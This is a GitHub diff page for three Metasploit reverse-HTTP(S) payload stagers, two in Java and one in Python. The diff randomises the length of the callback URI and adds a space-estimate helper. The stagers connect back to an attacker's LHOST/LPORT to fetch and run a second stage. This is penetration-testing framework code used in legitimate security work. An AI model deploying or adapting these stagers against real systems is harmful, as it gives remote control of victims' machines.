File tree Expand file tree Collapse file tree 3 files changed +58
-6
lines changed
Expand file tree Collapse file tree 3 files changed +58
-6
lines changed Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = 5500
11+ CachedSize = 5499
1212
1313 include Msf ::Payload ::Stager
1414 include Msf ::Payload ::Java
@@ -40,12 +40,22 @@ def initialize(info = {})
4040 end
4141
4242 def config
43+ # Default URL length is 30-256 bytes
44+ uri_req_len = 30 + rand ( 256 -30 )
45+
46+ # Generate the short default URL if we don't know available space
47+ if self . available_space . nil?
48+ uri_req_len = 5
49+ end
50+
4351 spawn = datastore [ "Spawn" ] || 2
4452 c = ""
4553 c << "Spawn=#{ spawn } \n "
4654 c << "URL=http://#{ datastore [ "LHOST" ] } "
4755 c << ":#{ datastore [ "LPORT" ] } " if datastore [ "LPORT" ]
48- c << "/INITJM\n "
56+ c << "/"
57+ c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , uri_req_len )
58+ c << "\n "
4959
5060 c
5161 end
Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = 6308
11+ CachedSize = 6307
1212
1313 include Msf ::Payload ::Stager
1414 include Msf ::Payload ::Java
@@ -42,12 +42,22 @@ def initialize(info = {})
4242 end
4343
4444 def config
45+ # Default URL length is 30-256 bytes
46+ uri_req_len = 30 + rand ( 256 -30 )
47+
48+ # Generate the short default URL if we don't know available space
49+ if self . available_space . nil?
50+ uri_req_len = 5
51+ end
52+
4553 spawn = datastore [ "Spawn" ] || 2
4654 c = ""
4755 c << "Spawn=#{ spawn } \n "
4856 c << "URL=https://#{ datastore [ "LHOST" ] } "
4957 c << ":#{ datastore [ "LPORT" ] } " if datastore [ "LPORT" ]
50- c << "/INITJM\n "
58+ c << "/"
59+ c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , uri_req_len )
60+ c << "\n "
5161
5262 c
5363 end
Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = 442
11+ CachedSize = 446
1212
1313 include Msf ::Payload ::Stager
1414
@@ -50,7 +50,7 @@ def generate
5050 target_url << ':'
5151 target_url << datastore [ 'LPORT' ] . to_s
5252 target_url << '/'
53- target_url << generate_uri_checksum ( Msf :: Handler :: ReverseHttp :: URI_CHECKSUM_INITP )
53+ target_url << generate_callback_uri
5454
5555 proxy_host = datastore [ 'PayloadProxyHost' ] . to_s
5656 proxy_port = datastore [ 'PayloadProxyPort' ] . to_i
@@ -77,4 +77,36 @@ def generate
7777 b64_stub << "')))"
7878 return b64_stub
7979 end
80+
81+ #
82+ # Determine the maximum amount of space required for the features requested
83+ #
84+ def required_space
85+ # Start with our cached default generated size
86+ space = cached_size
87+
88+ # Add 100 bytes for the encoder to have some room
89+ space += 100
90+
91+ # Make room for the maximum possible URL length
92+ space += 256
93+
94+ # The final estimated size
95+ space
96+ end
97+
98+ #
99+ # Return the longest URL that fits into our available space
100+ #
101+ def generate_callback_uri
102+ uri_req_len = 30 + rand ( 256 -30 )
103+
104+ # Generate the short default URL if we don't have enough space
105+ if self . available_space . nil? || required_space > self . available_space
106+ uri_req_len = 5
107+ end
108+
109+ generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITP , uri_req_len )
110+ end
111+
80112end
You can’t perform that action at this time.
0 commit comments